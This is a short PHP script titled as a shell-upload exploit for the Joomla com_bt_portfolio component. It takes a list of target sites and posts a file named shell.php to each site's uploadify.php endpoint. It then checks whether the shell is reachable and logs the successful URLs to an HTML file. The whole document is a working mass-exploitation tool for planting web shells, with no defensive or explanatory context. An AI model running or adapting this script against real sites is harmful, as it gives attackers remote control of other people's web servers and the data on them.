Joomla com_bt_portfolio — Shell Upload

<?php
$file = "list.txt";
$get = @file_get_contents($file);
$e = explode("\r\n", $get);
$open = fopen("result.html", "a");
foreach ($e as $links) {
	echo "[!] Scaning : $links";
	bt($links);
}

function bt($url){
	global $open;
	$fn = "shell.php";
	$uploadfile = (getcwd()).'/'.$fn;
	$postData = array('Filedata' => "@$uploadfile", 'folder' => "/");
	$ch = curl_init("$url/administrator/components/com_bt_portfolio/helpers/uploadify/uploadify.php");
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_exec($ch);
	curl_close($ch);
	$sc = $url.'/'.$fn;
	$gg = @file_get_contents($sc);
	if(eregi("pass", $gg)){ // syntax to cheek index uploaded or no
		echo "\n[+] yes : $sc\n\n";
		fwrite($open,"<a href='$sc'>$sc</a><br>");
	}else{
		echo "\n[-] No \n\n";
	}
}

fclose($open);
?>